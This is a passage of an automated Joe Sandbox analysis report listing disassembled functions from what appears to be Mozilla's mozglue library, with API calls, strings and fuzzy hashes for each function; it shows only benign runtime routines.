Opcode ID: 07aec78b26390d0d279a669131073c807e7bb3143324d0eaf8593ab3ff4c12e5
Instruction ID: 47785c0e9aeccf01870fdfc1a2ba2004fddaa49322895fe03bdc68d9b6e8eaa4
Opcode Fuzzy Hash: 07aec78b26390d0d279a669131073c807e7bb3143324d0eaf8593ab3ff4c12e5
Instruction Fuzzy Hash: 9121C4B2B002155BE718DE789C94CAEB7BAEBC53247250739E425D7780EB70AD0286E1

Function 6C4DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4DB4F5
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C4DB502
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C4DB542
free.MOZGLUE(?), ref: 6C4DB578

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: af1a39cd67dbbbcfb48a501abfd4d2e7b7d4e8bfecb2b9eb795b75cca44d3da3
Instruction ID: 9f9094a3248f0f54d6be1f72475775104e8a377b979f8f0842623a66e5b92d6e
Opcode Fuzzy Hash: af1a39cd67dbbbcfb48a501abfd4d2e7b7d4e8bfecb2b9eb795b75cca44d3da3
Instruction Fuzzy Hash: B011FD30A14B00C7D712EF29C820F65B3B0FF9A32DF12970AE84952B01EBB1B1C18784

Function 6C503DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4CF20E,?), ref: 6C503DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4CF20E,00000000,?), ref: 6C503DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C503E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C503E0E

Part of subcall function 6C4FCC00: GetCurrentProcess.KERNEL32(?,?,6C4C31A7), ref: 6C4FCC0D
Part of subcall function 6C4FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4C31A7), ref: 6C4FCC16

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 93d96188cb0879917b13220fae5cf29015067455d95154fd395781127416f67b
Instruction ID: 37eb7485e6ac891208785f721669061ba8e4a44aeaee71a551a324c3c8b5e58d
Opcode Fuzzy Hash: 93d96188cb0879917b13220fae5cf29015067455d95154fd395781127416f67b
Instruction Fuzzy Hash: F0F0FE716402187BD700AB54DC41DAB376DEB86728F054024FD0C57741E735BD1986FA

Function 6C512050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C51201B,?,?,?,?,?,?,?,6C511F8F,?,?), ref: 6C512064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51208E
free.MOZGLUE(?,?,?,00000000,?,6C51201B,?,?,?,?,?,?,?,6C511F8F,?,?), ref: 6C5120A3

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 36c62e1bea583b48036a1eca898a838957da8bcb664b8d0e23915f8dbdbb3377
Instruction ID: d4264b6477fbc0cebd37ac8bcc406425a5fea63df1c5f37a721c4eb7fc26f24e
Opcode Fuzzy Hash: 36c62e1bea583b48036a1eca898a838957da8bcb664b8d0e23915f8dbdbb3377
Instruction Fuzzy Hash: AAF0B471104A009FD711EF16DC8CB5BB7F8EFCA328F11012AE50687B10D772A805CB9A

Function 6C5185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5185D3

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C518725

Strings

map/set<T> too long, xrefs: 6C518720

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 2df272f97ae33c307863f4fe99924b3821e11a9d28409ed3aa5abfe4e7d4cc4e
Instruction ID: 4c2d299b963d7b5f84a663a10069d5460242487db81bd004fc599ca32fedf675
Opcode Fuzzy Hash: 2df272f97ae33c307863f4fe99924b3821e11a9d28409ed3aa5abfe4e7d4cc4e
Instruction Fuzzy Hash: E2515674608651CFE711CF18C888A55BBF1BF59318F1AC28AD8595BB52C335EC45CF92

Function 6C4CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4CBE8F

Strings

0, xrefs: 6C4CBE5B

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ad0cead38aa7a7bc7e611be040063042e8f4cda82fa2ea64c83a584380a72f7a
Instruction ID: dfe06d7ae12bb9dfd7e1db285e5868ce24987ffc2ad203f10b44012f4a01c0f1
Opcode Fuzzy Hash: ad0cead38aa7a7bc7e611be040063042e8f4cda82fa2ea64c83a584380a72f7a
Instruction Fuzzy Hash: B2419D75A09745CFC701CF38C481E9BBBE4AF8A348F008A1DF995A7621E731D9498B83

Function 6C503CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C503D19
mozalloc_abort.MOZGLUE(?), ref: 6C503D6C

Strings

d, xrefs: 6C503D58

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 73ee0d07f70638099f96f174f58a9da06d7a41554b9f6ee0489a85e6a6b56295
Instruction ID: 5b9671961bc2b50f572538c3b403e044d15986983c0835a7b9eebcbe25524466
Opcode Fuzzy Hash: 73ee0d07f70638099f96f174f58a9da06d7a41554b9f6ee0489a85e6a6b56295
Instruction Fuzzy Hash: 3C11C136F04688DBDB01DF69CC148EEB775EF96358B458229EC49DB602FB70A984C394

Function 6C4D4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4D44B2,6C54E21C,6C54F7F8), ref: 6C4D473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4D474A

Strings

GetNtLoaderAPI, xrefs: 6C4D4744

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: de3970cc0e98d6bff10340f6e50dda1f8a82097ed3f5c59fdd0d1f3c9f0f0cfd
Instruction ID: 7b8579c753b05aacfdfcc1464f2e23e755359c4e5bd94d3ad725c303c54b132b
Opcode Fuzzy Hash: de3970cc0e98d6bff10340f6e50dda1f8a82097ed3f5c59fdd0d1f3c9f0f0cfd
Instruction Fuzzy Hash: BF0180757002148FDF00BFA98C54E1A7BF9EB8B355B46806AE905CB710DB74E8018F95

Function 6C526DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C526E22
__Init_thread_footer.LIBCMT ref: 6C526E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C526E1D

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: dba1773854e990e24c17a9036a101a703a123dcfb90c01508c238fb016f3c34f
Instruction ID: 8147bad65be2cef00c8da8765998150a339bba6080e430d99d02531f8f7ca8a5
Opcode Fuzzy Hash: dba1773854e990e24c17a9036a101a703a123dcfb90c01508c238fb016f3c34f
Instruction Fuzzy Hash: C1F05235204380CBEB00EBACCC50E9377B2A75331CF058269C81586BE1DB24B517CAAB

Function 6C4D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4D9EEF

Strings

NaN, xrefs: 6C4D9EC1
Infinity, xrefs: 6C4D9EB7

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f875c5092566edc8c060bf0eef2f3c2f5fec63ff75bc566df89d03c34db06185
Instruction ID: 0d95eb479d5c8db6aa5b260346bba7739ef6a47e4bf194be4b1d4a64862c4595
Opcode Fuzzy Hash: f875c5092566edc8c060bf0eef2f3c2f5fec63ff75bc566df89d03c34db06185
Instruction Fuzzy Hash: 90F0A971600242CADB00EF5CEE65F8237B1A75330EF228B58C6040AB80E7366546CA9A

Function 6C4D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KPl,?,6C504B30,80000000,?,6C504AB7,?,6C4C43CF,?,6C4C42D2), ref: 6C4D6C42

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

moz_xmalloc.MOZGLUE(0KPl,?,6C504B30,80000000,?,6C504AB7,?,6C4C43CF,?,6C4C42D2), ref: 6C4D6C58

Strings

0KPl, xrefs: 6C4D6C33, 6C4D6C41, 6C4D6C57

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KPl
API String ID: 1967447596-1394554299
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 34b13b93b5c7c03e500dfaed42df3243fc4eefee21abc4bd2eed9b0142890d64
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 21E086F1A105054A9B08F9B8BC29EAA72C88B14AE97054E79EC22C6BDCFA54F5548191

Function 6C4D3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C54F860), ref: 6C4D385C
ReleaseSRWLockExclusive.KERNEL32(6C54F860,?), ref: 6C4D3871

Strings

,Tl, xrefs: 6C4D387A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Tl
API String ID: 17069307-2037166668
Opcode ID: b36df50a097211c839f3af55cc2bb368b8ed1e1c9d8135d9cd2839d021f880e1
Instruction ID: fabab8278a1dd99cfe72767fa88a8197a55bc9599954d68c0ff1b6f1e4ffe921
Opcode Fuzzy Hash: b36df50a097211c839f3af55cc2bb368b8ed1e1c9d8135d9cd2839d021f880e1
Instruction Fuzzy Hash: 72E04F31A05A1897C711FFAA9C15E8ABBF8EE47799306C649F40A1BE00C771A58186D9

Function 6C4DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4DBEF5

Strings

cryptbase.dll, xrefs: 6C4DBEF0

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 8c87b9ac2d42243438bfa4e3fd7367df7946c37c991425707feee161f3249137
Instruction ID: 901a9bf93ef6eb85c888acb1e187638fcceac0ec22753032aa906d410b7c240a
Opcode Fuzzy Hash: 8c87b9ac2d42243438bfa4e3fd7367df7946c37c991425707feee161f3249137
Instruction Fuzzy Hash: 9CD0A9322C4608EACA04FAA08C0AF2A3BB8A70232AF11C020F30584951C7B0A421CB88

Function 6C51B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C51B2C9,?,?,?,6C51B127,?,?,?,?,?,?,?,?,?,6C51AE52), ref: 6C51B628

Part of subcall function 6C5190E0: free.MOZGLUE(?,00000000,?,?,6C51DEDB), ref: 6C5190FF
Part of subcall function 6C5190E0: free.MOZGLUE(?,00000000,?,?,6C51DEDB), ref: 6C519108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C51B2C9,?,?,?,6C51B127,?,?,?,?,?,?,?,?,?,6C51AE52), ref: 6C51B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C51B2C9,?,?,?,6C51B127,?,?,?,?,?,?,?,?,?,6C51AE52), ref: 6C51B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C51B127,?,?,?,?,?,?,?,?), ref: 6C51B74D

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2bead075a174c54992a8031aebe956e3c81a782cfa8e0f613de3a372c9763e98
Instruction ID: e82fc6c46b2bcf5890479fd506f5bbe0140d773902756c1341fd8fc62b1718f8
Opcode Fuzzy Hash: 2bead075a174c54992a8031aebe956e3c81a782cfa8e0f613de3a372c9763e98
Instruction Fuzzy Hash: 5E51CEB1A092168FEB14EF18CD8866EB7B5FF85305F55852DC85AABB10D731A804CBA1

Function 6C51DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C50FF2A), ref: 6C51DFFD

Part of subcall function 6C5190E0: free.MOZGLUE(?,00000000,?,?,6C51DEDB), ref: 6C5190FF
Part of subcall function 6C5190E0: free.MOZGLUE(?,00000000,?,?,6C51DEDB), ref: 6C519108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C50FF2A), ref: 6C51E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C50FF2A), ref: 6C51E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C50FF2A), ref: 6C51E0FE

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a19bd95a727d5c581ea638117a6dc5d94c7a9511f968ff0770f67cc0bb899b5a
Instruction ID: b98515a9b457aa9fc6886b599250d2bcfebd752d33cb76f3de6464f9c5af9182
Opcode Fuzzy Hash: a19bd95a727d5c581ea638117a6dc5d94c7a9511f968ff0770f67cc0bb899b5a
Instruction Fuzzy Hash: C341C0B56082068FFB14CF68CC8836A73B2BB85308F154939D516DBF40E7B2E904CB92

Function 6C516E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C516EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C516EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C516F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C516F5C

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: ca982af932998b85d195ca160ff531ebe00b98538b441d4f5a3f79adc31bd397
Instruction ID: 7780d0c2c91c8281078a935d3ca8997423f169aa63d375a55fa71691eb663986
Opcode Fuzzy Hash: ca982af932998b85d195ca160ff531ebe00b98538b441d4f5a3f79adc31bd397
Instruction Fuzzy Hash: 8B31E571A1460A8FEB04CF2CCD846AE73E9EBC4304F508639D41AC7A55EF31E659CB91

Function 6C52B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4D0A4D), ref: 6C52B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4D0A4D), ref: 6C52B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4D0A4D), ref: 6C52B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4D0A4D), ref: 6C52B67F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 0538a4dc82b109bd929185f583349266aa5fe2e7e9a15f29c7c9042ffe63c8f2
Instruction ID: 4512d9e32258539d21c27e4bafa42fdef39ce1471a5f93087a8b13bcdf2fb678
Opcode Fuzzy Hash: 0538a4dc82b109bd929185f583349266aa5fe2e7e9a15f29c7c9042ffe63c8f2
Instruction Fuzzy Hash: 5431F471A012168FDB10EF58CC84A5ABBF5FF80305F168A29C81B9B341EB35F915CBA0

Function 6C4FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C4FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C4FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C4FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C4FF668

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 8c21b4df0fb5b731c932892ecd39f377392cb2715538ab5aaf2757a155bf4fe8
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: A8314B71A00224AFDB14CF29CCC0E9E77F5EBC4354B148538EA598BB05E631E946CB90

Function 6C5126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5126C1
free.MOZGLUE(?), ref: 6C5126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5126FF
free.MOZGLUE ref: 6C51270D

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

